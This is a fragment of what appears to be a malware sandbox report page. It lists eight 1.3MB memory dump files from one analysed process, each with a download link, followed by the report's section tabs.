memory/2952-26-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-39-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-24-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-48-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-41-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-25-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-23-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download
memory/2952-20-0x00000000002E0000-0x0000000000427000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads